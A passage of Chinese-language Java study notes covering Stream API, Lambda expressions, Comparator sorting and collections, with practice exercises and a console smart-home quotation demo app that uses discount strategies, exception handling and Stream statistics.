``` 5. **groupingBy / partitioningBy 的 key 可以为 null**,业务尽量避免。 6. **基础流 `IntStream/LongStream/DoubleStream` 和包装类流 `Stream<Integer>` 不是同一个类型。** - `Stream<Integer>` 没有 `sum()` 方法 - `IntStream` 才有 `sum()`、`average()` 7. **flatMap 必须返回 Stream**,不能直接返回集合。 ```java ❌ .flatMap(o -> o.getProductList()) // 返回 List,编译错误 ✅ .flatMap(o -> o.getProductList().stream()) // 返回 Stream ``` 8. **在 Stream 的 Lambda 中修改外部变量 → 编译错误。** ```java int sum = 0; list.stream().forEach(x -> sum += x); // ❌ 编译错误 // 正确做法:用 mapToDouble + sum() ``` --- ## 六、Lambda 表达式 ### 基础介绍 Lambda 是 JDK 8 引入的匿名函数,用于简化**函数式接口**(只有一个抽象方法的接口)的实现。 ### 基础语法 ```java // 无参数 () -> System.out.println("Hello") // 一个参数,类型可省略 x -> x * 2 // 多个参数 (a, b) -> a + b // 多条语句用 {} 包裹 (x, y) -> { int sum = x + y; return sum; } ``` ### 常用函数式接口 | 接口 | 方法 | Lambda 示例 | Stream 中对应 | |------|------|------------|--------------| | `Predicate<T>` | `test(T)` | `x -> x > 0` | `filter` | | `Function<T,R>` | `apply(T)` | `x -> x.toString()` | `map` | | `Consumer<T>` | `accept(T)` | `x -> System.out.println(x)` | `forEach` | | `Supplier<T>` | `get()` | `() -> new Random().nextInt()` | 创建 Stream | | `ToDoubleFunction<T>` | `applyAsDouble(T)` | `x -> x.getPrice()` | `mapToDouble` | ### 方法引用 `::` | 类型 | 写法 | 等价 Lambda | 使用场景 | |------|------|------------|---------| | 对象方法引用 | `对象::方法` | `x -> 对象.方法(x)` | 固定对象调方法 | | 类方法引用 | `类名::方法` | `x -> x.方法()` | Stream 元素调自身方法 | | 静态方法引用 | `类名::静态方法` | `(a,b) -> 类名.静态方法(a,b)` | 工具类方法 | | 构造器引用 | `类名::new` | `() -> new 类名()` | 创建对象 | ```java // 类名::实例方法 → Stream 中常用 workers.stream().map(Worker::getName) // 等价于:workers.stream().map(w -> w.getName()) ``` ### 注意点 1. **Lambda 只能用于函数式接口** 2. **Lambda 中不能修改外部局部变量**(必须是 effectively final) --- ## 七、Comparator 排序 ### 工作原理 `compare(a, b)` 返回 int,排序器根据这个 int 决定谁在前谁在后。 | compare(a, b) 返回值 | 含义 | 结果 | |---------------------|------|------| | **负数** | a 排在 b **前面** | a 赢了 | | **正数** | a 排在 b **后面** | b 赢了 | | **0** | a 和 b 相等 | 顺序不变 | ### 口诀 > `a - b` → 负数 → a 在前 → **升序(从小到大)** > `b - a` → 正数 → b 在前 → **降序(从大到小)** ### 经典代码 ```java // 按工龄升序:正常减 Collections.sort(workers, (a, b) -> a.getWorkYear() - b.getWorkYear()); // 按评分降序:反过来比(double 用 Double.compare) Collections.sort(workers, (a, b) -> Double.compare(b.getScore(), a.getScore())); // 按姓名拼音升序:String 自带 compareTo Collections.sort(workers, (a, b) -> a.getName().compareTo(b.getName())); // 多条件排序:先按工种,再按工龄降序 Collections.sort(workers, (a, b) -> { int jobCompare = a.getJobType().compareTo(b.getJobType()); if (jobCompare != 0) return jobCompare; // 工种不同,按工种排 return b.getWorkYear() - a.getWorkYear(); // 工种相同,按工龄降序 }); // Comparator 链式写法(隐藏 if 逻辑) workers.sort(Comparator .comparing(Worker::getJobType) .thenComparing((a, b) -> b.getWorkYear() - a.getWorkYear())); ``` --- ## 附录:集合框架速查 ### 选择哪个集合? | 需求 | 选择 | 理由 | |------|------|------| | 有序列表,按顺序遍历 | ArrayList | 动态数组,查询快 | | 频繁在头部/尾部增删 | LinkedList | 双向链表,首尾操作快 | | 键值对,按 key 快速查找 | HashMap | 哈希表,O(1) 查找 | | 键值对,需要保持存入顺序 | LinkedHashMap | 链表维护插入顺序 | | 去重,判断是否存在 | HashSet | 基于 HashMap 实现 | ### 三级流水线 ``` 数据库(查) → Stream(加工) → Collectors(打包) ↓ ↓ ↓ 原始数据 filter/map List/Map/数字 ``` ### 常见遍历方式对比 ```java // ArrayList 遍历 for (int i = 0; i < list.size(); i++) // 需要序号 for (Worker w : workers) // 纯遍历 workers.stream().filter(...).forEach(...) // 过滤统计 // HashMap 遍历 for (Map.Entry<K,V> entry : map.entrySet()) // key-value 都要 for (K key : map.keySet()) // 只要 key for (V value : map.values()) // 只要 value map.forEach((k, v) -> ...) // Lambda ```
手写泛型类、ArrayList、HashMap、Lambda熟悉一下
  ``` package cn.com.d99714.smart.practice; /** * 练习 1:手写泛型类 * 要求:Box可以装任意类型的值,通过泛型<T>实现 */ public class GenericBox<T> { // TODO 1: 定义一个 private 的 T 类型字段 value private T value; // TODO 2: 写构造器,接收 T 类型参数,赋值给 value public GenericBox(T value) { this.setValue(value); } // TODO 3: 写 getValue() 方法,返回 T 类型 public T getValue() { return this.value ; } // TODO 4: 写 setValue(T value) 方法 public void setValue(T value) { this.value = value; } public static void main(String[] args) { // 测试:创建装 String 的 Box GenericBox<String> strBox = new GenericBox<>("Hello"); System.out.println(strBox.getValue()); // 测试:创建装 Integer 的 Box GenericBox<Integer> intBox = new GenericBox<>(100); System.out.println(intBox.getValue() + 50); // 测试:创建装 Double 的 Box,然后修改值 GenericBox<Double> doubleBox = new GenericBox<>(3.14); doubleBox.setValue(2.71); System.out.println(doubleBox.getValue()); } } ```  ``` package cn.com.d99714.smart.practice; import cn.com.d99714.smart.entity.Worker; import java.util.ArrayList; /** * 练习2:ArrayList 增删改查 * 要求:用 ArrayList 替代数组,完成师傅信息的完整管理 */ public class WorkerListCrud { private static ArrayList<Worker> workers = new ArrayList<>(); public static void main(String[] args) { // 初始化数据 addWorker(new Worker("赵孙钱", "", "布线工", 8, 4.5)); addWorker(new Worker("钱多多", "", "安装工", 5, 3.8)); addWorker(new Worker("孙行者", "", "布线工", 12, 4.9)); System.out.println("=== 初始列表 ==="); printAll(); System.out.println("\n=== 按姓名查找 '孙行者' ==="); Worker found = findByName("孙行者"); System.out.println(found != null ? found : "未找到"); System.out.println("\n=== 删除 '钱多多' ==="); boolean removed = removeByName("钱多多"); System.out.println("删除结果:" + removed); printAll(); System.out.println("\n=== 修改 '赵孙钱' 的评分为 5.0 ==="); boolean updated = updateScore("赵孙钱", 5.0); System.out.println("修改结果:" + updated); printAll(); System.out.println("\n=== 当前总人数 ==="); System.out.println(getCount()); } // TODO 1: 添加师傅到列表 static void addWorker(Worker w) { workers.add(w); } // TODO 2: 遍历打印所有师傅(for-each) static void printAll() { for (Worker w : workers) { System.out.println(w); } } // TODO 3: 按姓名查找,找不到返回 null static Worker findByName(String name) { for (Worker w : workers) { if (w.getName().equals(name) ) { return w; } } return null; } // TODO 4: 按姓名删除,成功返回 true static boolean removeByName(String name) { Worker w = findByName(name); if (w != null) { workers.remove(w); return true; } return false; } // TODO 5: 按姓名修改评分,成功返回 true static boolean updateScore(String name, double newScore) { Worker w = findByName(name); if (w != null) { w.setScore(newScore); return true; } return false; } // TODO 6: 返回当前人数 static int getCount() { if (workers.size() == 0) { return 0; } return workers.size(); } } ```  ``` package cn.com.d99714.smart.practice; import cn.com.d99714.smart.entity.Worker; import java.util.HashMap; import java.util.Map; /** * 练习3:HashMap 键值对操作 * 要求:用工号做 key,Worker 做 value,实现快速查找 */ public class WorkerMapLookup { private static HashMap<String, Worker> workerMap = new HashMap<>(); public static void main(String[] args) { // 注册师傅(工号 -> 对象) register("W001", new Worker("赵孙钱", "", "布线工", 8, 4.5)); register("W002", new Worker("钱多多", "", "安装工", 5, 3.8)); register("W003", new Worker("孙行者", "", "布线工", 12, 4.9)); System.out.println("=== 按工号查找 W002 ==="); Worker w = findById("W002"); System.out.println(w != null ? w.getName() : "不存在"); System.out.println("\n=== 查找不存在的 W999 ==="); Worker notFound = findById("W999"); System.out.println(notFound != null ? notFound.getName() : "不存在"); System.out.println("\n=== 重复注册 W001(应该覆盖)==="); register("W001", new Worker("赵新名", "","调试工", 3, 4.0)); Worker updated = findById("W001"); System.out.println(updated.getName() + " - " + updated.getJobType()); System.out.println("\n=== 统计各工种人数 ==="); printJobTypeStats(); } // TODO 1: 注册师傅(put),如果工号已存在则覆盖 static void register(String id, Worker w) { workerMap.put(id, w); } // TODO 2: 按工号查找,不存在返回 null static Worker findById(String id) { return workerMap.get(id); } // TODO 3: 判断工号是否已注册 static boolean isRegistered(String id) { return workerMap.containsKey(id); } // TODO 4: 遍历 HashMap,统计各工种人数(用另一个 HashMap<String, Integer>) // 输出格式:布线工: 2人, 安装工: 1人 static void printJobTypeStats() { HashMap<String, Integer> jobTypeCount = new HashMap<>(); for (Worker w : workerMap.values()){ String jobType = w.getJobType(); int count = jobTypeCount.getOrDefault(jobType, 0) + 1; jobTypeCount.put(jobType,count); } for (Map.Entry<String, Integer> entry : jobTypeCount.entrySet()){ System.out.println(entry.getKey() + ":" + entry.getValue() + " 人"); } } } ```  package cn.com.d99714.smart.practice; import cn.com.d99714.smart.entity.Worker; import java.util.ArrayList; import java.util.Collections; import java.util.Comparator; /** * 练习4:Lambda 替换匿名内部类 * 要求:用 Lambda 表达式实现 Comparator,完成多种排序 */ public class WorkerSortLambda { public static void main(String[] args) { ArrayList<Worker> workers = new ArrayList<>(); workers.add(new Worker("赵孙钱", "", "布线工", 8, 4.5)); workers.add(new Worker("钱多多", "", "安装工", 5, 3.8)); workers.add(new Worker("孙行者", "", "布线工", 12, 4.9)); workers.add(new Worker("李四海", "", "调试工", 3, 4.2)); System.out.println("=== 原始顺序 ==="); printWorkers(workers); System.out.println("\n=== 按工龄升序(Lambda)==="); // TODO 1: 用 Collections.sort + Lambda 按工龄从小到大排 // 1. Lambda完整的写法 Collections.sort(workers, (Worker a, Worker b) -> { return a.getWorkYear() - b.getWorkYear(); }); printWorkers(workers); // 2. Lambda省略参数的写法 Collections.sort(workers, (a, b) -> { return a.getWorkYear() - b.getWorkYear(); }); // printWorkers(workers); // 3. Lambda最简化的写法 Collections.sort(workers, (a, b) -> a.getWorkYear() - b.getWorkYear()); // printWorkers(workers); System.out.println("\n=== 按评分降序(Lambda)==="); // TODO 2: 按评分从高到低排(注意:降序是后减前) Collections.sort(workers, (a, b) -> Double.compare(b.getScore(), a.getScore())); printWorkers(workers); System.out.println("\n=== 按姓名拼音升序(Lambda)==="); // TODO 3: 按 name 的 compareTo 排序 Collections.sort(workers, (a, b) -> a.getName().compareTo(b.getName())); // printWorkers(workers); System.out.println("\n=== 先按工种排序,同工种再按工龄降序 ==="); // TODO 4(进阶):多字段排序,先 jobType 升序,再 workYears 降序 // 1. 完整写法 Collections.sort(workers,(a, b) -> { int jobTypeCompare = a.getJobType().compareTo(b.getJobType()); if (jobTypeCompare != 0){ return jobTypeCompare; } return b.getWorkYear() - a.getWorkYear(); }); printWorkers(workers); // 2. 链式写法 Collections.sort(workers, Comparator .comparing(Worker::getJobType) .thenComparing((a, b) -> b.getWorkYear() - a.getWorkYear())); // printWorkers(workers); // 3. reversed,晕 workers.sort(Comparator .comparing(Worker::getJobType) .thenComparing(Worker::getWorkYear, Comparator.reverseOrder())); // printWorkers(workers); } static void printWorkers(ArrayList<Worker> list) { for (Worker w : list) { System.out.println(w.getName() + " | " + w.getJobType() + " | " + w.getWorkYear() + "年 | " + w.getScore() + "分"); } System.out.println(); } }
今天学习了Stream API,不修改原集合、链式调用、惰性求值、用完就关闭
**一个合格的后端,既会写 SQL 从数据库捞数据,也会用 Stream 在内存里玩数据**。 `SmartHomeQuotation::calcTotal` **两个冒号是Lambda 的简写,方法引用(Method Reference)**。 **三个条件满足才能用 ::,1、参数只有一个,2、方法体就是"调用那个对象的某个方法",3、参数类型和方法所属类匹配** **冒号前是"方法从哪来"(类或对象),冒号后是"调哪个方法"。Stream 负责把集合里的元素逐个传进去当参数。** **Stream是集合数据的"流水线",把 ArrayList 里的数据想象成工厂传送带上的产品,Stream 就是这条传送带,产品依次经过各个工位(过滤、加工、打包),最后产出结果。** **数据库是第一棒,Stream是第二棒。** **Collectors是Stream的高级玩法** ``` package cn.com.d99714.smart.service; import cn.com.d99714.smart.common.Config; import cn.com.d99714.smart.entity.*; import cn.com.d99714.smart.exception.DiscountRateInvalidException; import cn.com.d99714.smart.strategy.*; import java.util.ArrayList; import java.util.HashMap; import java.util.Map; import java.util.Scanner; import java.util.stream.Collectors; public class SmartHomeTest { // Test 类私有的交互常量 private static final String MENU_EXIT = "0. 退出"; private static final String MENU_BACK = "0. 返回"; private static final String MAIN_MENU_PROMPT = "请选择(1-8)【0-退出】:"; private static final String DISCOUNT_MENU_PROMPT = "请选择(1-5)【0-返回】:"; private static final String FIND_QUOTATION_BY_ID_PROMPT = "请输入报价单编号:"; private static final String MSG_INVALID = "无效选项"; private static final String MSG_SUCCESS = "创建成功"; private static final String MSG_NO_QUOTATION = "无报价单!"; private static final String MSG_QUOTATION_NOT_EXISTS = "报价单不存在:"; private static final String MSG_EXCEPTION_MAIN_MENU_OUT_OF_RANGE = "序号超出范围(0-8)!"; private static final String MSG_EXCEPTION_SUB_MENU_OUT_OF_RANGE = "序号超出范围(0-5)!"; private static final String MSG_EXCEPTION_INVALID = "输入错误:请输入有效的数字序号!"; private static final String APP_TITLE = "智能家居报价系统"; private static final String APP_VERSION = "Ver 0.1"; private static final String APP_TITLE_CHAR = "="; private static final String APP_EXIT = "Bye. See you next time."; // 模拟数据存储 private static ArrayList<SmartHomeQuotation> quotations = new ArrayList<>(); private static HashMap<String, SmartHomeQuotation> quotationHashMap = new HashMap<>(); private static ArrayList<Person> people = new ArrayList<>(); private static Scanner sc = new Scanner(System.in); public static void main(String[] args) { initTestData(); // 初始化数据 handleMainMenu(); // 菜单循环 } /** * 1. 打印主菜单 */ private static void printMainMenu() { System.out.print(APP_TITLE_CHAR.repeat(30) + " "); System.out.print(APP_TITLE + " " + APP_VERSION); System.out.print(" " + APP_TITLE_CHAR.repeat(30)); System.out.println(); System.out.println("1. 查看报价单列表"); System.out.println("2. 查看报价单详情"); System.out.println("3. 多态角色展示"); System.out.println("4. 完整客户信息"); System.out.println("5. 折扣方案"); System.out.println("6. 异常测试"); System.out.println("7. 按编号查询报价单"); System.out.println("8. Stream 统计"); System.out.println(MENU_EXIT); System.out.print(MAIN_MENU_PROMPT); } /** * 2. 执行主菜单 */ private static void handleMainMenu() { while (true) { printMainMenu(); // 打印主菜单 String selected = sc.nextLine().strip(); try { int inputNum = Integer.parseInt(selected); if (inputNum < 0 || inputNum > 8) { System.out.println(MSG_EXCEPTION_MAIN_MENU_OUT_OF_RANGE); continue; } switch (inputNum) { case 1 -> showQuotationList(); case 2 -> showQuotationDetail(); case 3 -> showRoleDemo(); case 4 -> showFullInfoDemo(); case 5 -> handleDiscountMenu(); case 6 -> showExceptionDemo(); case 7 -> findQuotationById(); case 8 -> showStreamDemo(); case 0 -> { System.out.println(APP_EXIT); return; } default -> System.out.println(MSG_INVALID); } System.out.println(); } catch (NumberFormatException e) { System.out.println(MSG_EXCEPTION_INVALID); } } } /** * 3. 打印二级菜单 */ private static void printDiscountMenu() { System.out.print(APP_TITLE_CHAR.repeat(35) + " "); System.out.print("折扣方案"); System.out.print(" " + APP_TITLE_CHAR.repeat(35)); System.out.println(); System.out.println("1. 整单折扣(字段折扣)"); System.out.println("2. 百分比折扣(接口策略)"); System.out.println("3. 固定金额减免"); System.out.println("4. 满减策略"); System.out.println("5. 阶梯折扣"); System.out.println(MENU_BACK); System.out.print(DISCOUNT_MENU_PROMPT); } /** * 4. 执行二级菜单 */ private static void handleDiscountMenu() { while (true) { printDiscountMenu(); String selected = sc.nextLine().strip(); try { int inputNum = Integer.parseInt(selected); if (inputNum < 0 || inputNum > 5) { System.out.println(MSG_EXCEPTION_SUB_MENU_OUT_OF_RANGE); continue; } switch (inputNum) { case 1 -> showDiscountDemo(); case 2 -> showDiscountStategyDemo(); case 3 -> showFixedAmountDemo(); case 4 -> showFullReductionDemo(); case 5 -> showTieredDemo(); case 0 -> { return; } default -> System.out.println(MSG_INVALID); } System.out.println(); } catch (NumberFormatException e) { System.out.println(MSG_EXCEPTION_INVALID); } } } /** * 5. 预置测试数据 */ private static void initTestData() { Company vendor = new Company("张经理", "13829871635", "视声智能", "广州市黄埔区", "KNX全屋智能/灯光/安防"); Person client1 = new Customer("赵今麦", "15138473848", "上海市静安区", 533); Person client2 = new Company("李经理", "13150432864", "杜亚窗帘", "杭州市拱墅区", "智能窗帘/智能门锁"); Person worker = new Worker("王师傅", "13022531893", "电工", 2, 4.2); people.add(vendor); people.add(client1); people.add(client2); people.add(worker); SmartHomeQuotation q1 = new SmartHomeQuotation( Config.QUOTATION_PREFIX + "20260001-000001", "2026-10-02 16:35:11", "赵女士静安府全屋智能", client1, vendor, 35800.0, 5800.0, 6500.0, 4200.0, 2000.0); q1.setTotalDiscountRate(0.85); SmartHomeQuotation q2 = new SmartHomeQuotation( Config.QUOTATION_PREFIX + "20260001-000002", "2026-10-02 16:37:20", "杜亚展厅智能改造", client2, vendor, 28000.0, 3500.0, 4000.0, 2500.0, 1500.0); q2.setTotalDiscountRate(0.80); quotations.add(q1); quotations.add(q2); quotationHashMap.put(q1.getQuotationNo(), q1); quotationHashMap.put(q2.getQuotationNo(), q2); } /** * 6. 创建客户 */ private static void createCustomer() { System.out.println("创建客户"); System.out.print("类型(1-业主 2-公司 3-师傅):"); String type = sc.nextLine().strip(); System.out.print("姓名:"); String name = sc.nextLine().strip(); System.out.print("电话:"); String phone = sc.nextLine().strip(); switch (type) { case "1" -> { System.out.print("房屋地址:"); String addr = sc.nextLine().strip(); System.out.print("房屋面积:"); double area = Double.parseDouble(sc.nextLine().strip()); people.add(new Customer(name, phone, addr, area)); } case "2" -> { System.out.print("公司名称:"); String cName = sc.nextLine().strip(); System.out.print("公司地址:"); String cAddr = sc.nextLine().strip(); people.add(new Company(name, phone, cName, cAddr, "")); } case "3" -> { System.out.print("工种:"); String job = sc.nextLine().strip(); System.out.print("工龄:"); int year = Integer.parseInt(sc.nextLine().strip()); System.out.print("评分:"); double score = Double.parseDouble(sc.nextLine().strip()); people.add(new Worker(name, phone, job, year, score)); } default -> System.out.println("无效类型"); } System.out.println("创建成功!"); } /** * 7. 创建报价单 */ private static void createQuotation() { if (people.size() < 2) { System.out.println("请先创建客户和厂家"); return; } System.out.println("创建报价单"); // 直接选预置数据,不交互选客户 System.out.println("功能开发中(选项3/4查看)"); } /** * 8. 查看报价单列表 */ private static void showQuotationList() { System.out.println("报价单列表"); for (int i = 0; i < quotations.size(); i++) { System.out.println((i + 1) + ". " + quotations.get(i).getSummaryLine()); } if (quotations.isEmpty()) { System.out.println("暂无报价单"); } } /** * 9. 查看报价单详情 */ private static void showQuotationDetail() { if (quotations.isEmpty()) { System.out.println(MSG_NO_QUOTATION); return; } System.out.print("请输入报价单序号(1-" + quotations.size() + "):"); String input = sc.nextLine().strip(); try { int idx = Integer.parseInt(input) - 1; if (idx < 0 || idx >= quotations.size()) { System.out.println("序号超出范围(1-" + quotations.size() + "):"); return; } System.out.println(quotations.get(idx)); } catch (NumberFormatException e) { System.out.println("输入错误:请输入有效的数字序号!"); } } /** * 10. 多态角色展示 */ private static void showRoleDemo() { System.out.println("多态角色展示"); for (Person p : people) { System.out.println(p.showRole() + " " + p.getName()); System.out.println(" " + p.introduce()); } } /** * 11. 完整客户信息 */ private static void showFullInfoDemo() { System.out.println("完整客户信息"); if (quotations.isEmpty()) { System.out.println("暂无报价单"); return; } for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.println(q.getClientFullInfo()); } } /** * 12. 折扣计算演示 */ private static void showDiscountDemo() { System.out.println("折扣计算演示"); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元,%s后:%,.2f 元,优惠:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), q.getDiscountDesc(), q.calcDiscountedTotalAmount(), q.calcOriginalTotalAmount() - q.calcDiscountedTotalAmount()); } } /** * 13. 折扣策略接口演示 */ private static void showDiscountStategyDemo() { System.out.println("折扣策略接口演示"); DiscountStrategy s1 = new PercentageDiscountStrategy(0.85); DiscountStrategy s2 = new PercentageDiscountStrategy(0.80); System.out.printf(" %s 折扣接口策略【%s】:%,.2f 元 %n", quotations.get(0).getQuotationNo(), s1.getStrategyName(), quotations.get(0).getDiscountedTotal(s1)); System.out.printf(" %s 折扣接口策略【%s】:%,.2f 元 %n", quotations.get(1).getQuotationNo(), s2.getStrategyName(), quotations.get(1).getDiscountedTotal(s2)); } /** * 14. 固定金额减免策略接口演示 */ private static void showFixedAmountDemo() { System.out.println("固定金额减免接口演示"); DiscountStrategy fixed3000 = new FixedAmountDiscountStrategy(3000); DiscountStrategy fixed8000 = new FixedAmountDiscountStrategy(8000); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount()); System.out.printf(" 【%s】 后:%,.2f 元 %n", fixed3000.getStrategyName(), q.getDiscountedTotal(fixed3000)); System.out.printf(" 【%s】 后:%,.2f 元 %n", fixed8000.getStrategyName(), q.getDiscountedTotal(fixed8000)); System.out.println(); } } /** * 15. 满减 */ private static void showFullReductionDemo() { System.out.println("满减策略"); DiscountStrategy strategy = new FullReductionStrategy(50000, 5000); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 [%s] 折后:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), strategy.getStrategyName(), q.getDiscountedTotal(strategy)); } } /** * 16. 阶梯 */ private static void showTieredDemo() { System.out.println("阶梯折扣"); DiscountStrategy strategy = new TieredDiscountStrategy(50000, 0.90, 0.80); for (SmartHomeQuotation q : quotations) { // for-each循环 System.out.printf("%s 原价:%,.2f 元 [%s] 折后:%,.2f 元 %n", q.getQuotationNo(), q.calcOriginalTotalAmount(), strategy.getStrategyName(), q.getDiscountedTotal(strategy)); } } /** * 17. 折扣率异常的处理 */ private static void showExceptionDemo() { System.out.println("异常测试"); // 测试1:正常设置 System.out.println("1. 设置合法折扣率 0.90"); try { quotations.get(0).setTotalDiscountRate(0.90); System.out.println(" 设置成功,当前折扣率:" + quotations.get(0).getTotalDiscountRate()); } catch (DiscountRateInvalidException e) { System.out.println(" 捕获异常:" + e.getMessage()); } finally { System.out.println(" finally 执行"); } System.out.println(); // 测试2:非法设置(触发异常) System.out.println("2. 设置非法折扣率 1.50"); try { quotations.get(0).setTotalDiscountRate(1.50); System.out.println(" 设置成功(这行不会执行)"); } catch (DiscountRateInvalidException e) { System.out.println(" 捕获异常:" + e.getMessage()); } finally { System.out.println(" finally 执行"); } System.out.println(); // 验证:异常后数据未被污染 System.out.println("3. 验证当前折扣率:" + quotations.get(0).getTotalDiscountRate()); } /** * 18. 按照编号查找报价单 */ private static void findQuotationById() { System.out.print(FIND_QUOTATION_BY_ID_PROMPT); String id = sc.nextLine().strip(); if (!quotationHashMap.containsKey(id)) { System.out.println(MSG_QUOTATION_NOT_EXISTS + id); return; } System.out.println(quotationHashMap.get(id)); } /** * 19. Stream 统计 */ private static void showStreamDemo() { System.out.println("Stream 演示"); // 1. 过滤:金额大于 3 万的报价单 System.out.println("1. 金额大于3万的报价单:"); quotations.stream() // 相当于for中的:if (q.calcOriginalTotalAmount() > 30000) .filter(q -> q.calcOriginalTotalAmount() > 30000) // 相当于for循环增强版(for-each循环) .forEach(q -> System.out.println(" " + q.getSummaryLine())); // 2. 汇总:所有报价单的总金额 double total = quotations.stream() // mapToDouble把"对象流"转成"数字流"(double类型),才能做数学运算。每个实例化对象执行calcOriginalTotalAmount()这个方法 .mapToDouble(SmartHomeQuotation::calcOriginalTotalAmount) // 把calcOriginalTotalAmount()执行后的每个实例化对象的金额累加 .sum(); System.out.printf("2. 所有报价单总金额:%,.2f 元 %n", total); // 3. 计数:折扣率低于 0.85 的报价单数量 long count = quotations.stream() .filter(q -> q.getTotalDiscountRate() < 0.85) .count(); System.out.println("3. 折扣率低于85折的报价单数量:" + count); // 4. 按客户类型分组统计 System.out.println("4. 按客户类型分组:"); Map<String, Long> countByType = quotations.stream() .collect(Collectors.groupingBy( q -> q.getClient() instanceof Customer ? "业主" : "公司客户", Collectors.counting() )); countByType.forEach((type, tcount) -> System.out.println(" " + type + ":" + tcount + "单") ); } } ```
今天学习了ArrayList集合和HashMap集合
**测试数据从数组更改成ArrayList集合,按编号查找报价单从数组更改成HashMap集合** ``` private static ArrayList<SmartHomeQuotation> quotations = new ArrayList<>(); private static HashMap<String, SmartHomeQuotation> quotationHashMap = new HashMap<>(); quotations.add(q1); quotationHashMap.put(q1.getQuotationNo(), q1); ``` quotations**是ArrayList类型,存储的是报价单实例化对象**,quotations.add()**就是把报价单实例化对象保存到**quotations(ArrayList类型)**中**。 HashMap<String, SmartHomeQuotation>**是键值对,第一个形参是报价单编号,第二个形参是报价单实例化对象**。quotationHashMap.put()**就是把键和值一起保存。** ``` package cn.com.d99714.smart.service; import cn.com.d99714.smart.common.Config; import cn.com.d99714.smart.entity.*; import cn.com.d99714.smart.exception.DiscountRateInvalidException; import cn.com.d99714.smart.strategy.*; import java.util.ArrayList; import java.util.HashMap; import java.util.Scanner; public class SmartHomeTest { // Test 类私有的交互常量 private static final String MENU_EXIT = "0. 退出"; private static final String MENU_BACK = "0. 返回"; private static final String MAIN_MENU_PROMPT = "请选择(1-7)【0-退出】:"; private static final String DISCOUNT_MENU_PROMPT = "请选择(1-5)【0-返回】:"; private static final String FIND_QUOTATION_BY_ID_PROMPT = "请输入报价单编号:"; private static final String MSG_INVALID = "无效选项"; private static final String MSG_SUCCESS = "创建成功"; private static final String MSG_NO_QUOTATION = "无报价单!"; private static final String MSG_QUOTATION_NOT_EXISTS = "报价单不存在:"; private static final String MSG_EXCEPTION_MAIN_MENU_OUT_OF_RANGE = "序号超出范围(0-7)!"; private static final String MSG_EXCEPTION_SUB_MENU_OUT_OF_RANGE = "序号超出范围(0-5)!"; private static final String MSG_EXCEPTION_INVALID = "输入错误:请输入有效的数字序号!"; private static final String APP_TITLE = "智能家居报价系统"; private static final String APP_VERSION = "Ver 0.1"; private static final String APP_TITLE_CHAR = "="; private static final String APP_EXIT = "Bye. See you next time."; // 模拟数据存储 private static ArrayList<SmartHomeQuotation> quotations = new ArrayList<>(); private static HashMap<String, SmartHomeQuotation> quotationHashMap = new HashMap<>(); private static ArrayList<Person> people = new ArrayList<>(); private static Scanner sc = new Scanner(System.in); public static void main(String[] args) { initTestData(); // 初始化数据 handleMainMenu(); // 菜单循环 } /** * 1. 打印主菜单 */ private static void printMainMenu() { System.out.print(APP_TITLE_CHAR.repeat(30) + " "); System.out.print(APP_TITLE + " " + APP_VERSION); System.out.print(" " + APP_TITLE_CHAR.repeat(30)); System.out.println(); System.out.println("1. 查看报价单列表"); System.out.println("2. 查看报价单详情"); System.out.println("3. 多态角色展示"); System.out.println("4. 完整客户信息"); System.out.println("5. 折扣方案"); System.out.println("6. 异常测试"); System.out.println("7. 按编号查询报价单"); System.out.println(MENU_EXIT); System.out.print(MAIN_MENU_PROMPT); } /** * 2. 执行主菜单 */ private static void handleMainMenu() { while (true) { printMainMenu(); // 打印主菜单 String selected = sc.nextLine().strip(); try { int inputNum = Integer.parseInt(selected); if (inputNum < 0 || inputNum > 7) { System.out.println(MSG_EXCEPTION_MAIN_MENU_OUT_OF_RANGE); continue; } switch (inputNum) { case 1 -> showQuotationList(); case 2 -> showQuotationDetail(); case 3 -> showRoleDemo(); case 4 -> showFullInfoDemo(); case 5 -> handleDiscountMenu(); case 6 -> showExceptionDemo(); case 7 -> findQuotationById(); case 0 -> { System.out.println(APP_EXIT); return; } default -> System.out.println(MSG_INVALID); } System.out.println(); } catch (NumberFormatException e) { System.out.println(MSG_EXCEPTION_INVALID); } } } /** * 3. 打印二级菜单 */ private static void printDiscountMenu() { System.out.print(APP_TITLE_CHAR.repeat(35) + " "); System.out.print("折扣方案"); System.out.print(" " + APP_TITLE_CHAR.repeat(35)); System.out.println(); System.out.println("1. 整单折扣(字段折扣)"); System.out.println("2. 百分比折扣(接口策略)"); System.out.println("3. 固定金额减免"); System.out.println("4. 满减策略"); System.out.println("5. 阶梯折扣"); System.out.println(MENU_BACK); System.out.print(DISCOUNT_MENU_PROMPT); } /** * 4. 执行二级菜单 */ private static void handleDiscountMenu() { while (true) { printDiscountMenu(); String selected = sc.nextLine().strip(); try { int inputNum = Integer.parseInt(selected); if (inputNum < 0 || inputNum > 5) { System.out.println(MSG_EXCEPTION_SUB_MENU_OUT_OF_RANGE); continue; } switch (inputNum) { case 1 -> showDiscountDemo(); case 2 -> showDiscountStategyDemo(); case 3 -> showFixedAmountDemo(); case 4 -> showFullReductionDemo(); case 5 -> showTieredDemo(); case 0 -> { return; } default -> System.out.println(MSG_INVALID); } System.out.println(); } catch (NumberFormatException e) { System.out.println(MSG_EXCEPTION_INVALID); } } } /** * 5. 预置测试数据 */ private static void initTestData() { Company vendor = new Company("张经理", "13829871635", "视声智能", "广州市黄埔区", "KNX全屋智能/灯光/安防"); Person client1 = new Customer("赵今麦", "15138473848", "上海市静安区", 533); Person client2 = new Company("李经理", "13150432864", "杜亚窗帘", "杭州市拱墅区", "智能窗帘/智能门锁"); Person worker = new Worker("王师傅", "13022531893", "电工", 2, 4.2); people.add(vendor); people.add(client1); people.add(client2); people.add(worker); SmartHomeQuotation q1 = new SmartHomeQuotation( Config.QUOTATION_PREFIX + "20260001-000001", "2026-10-02 16:35:11", "赵女士静安府全屋智能", client1, vendor, 35800.0, 5800.0, 6500.0, 4200.0, 2000.0); q1.setTotalDiscountRate(0.85); SmartHomeQuotation q2 = new SmartHomeQuotation( Config.QUOTATION_PREFIX + "20260001-000002", "2026-10-02 16:37:20", "杜亚展厅智能改造", client2, vendor, 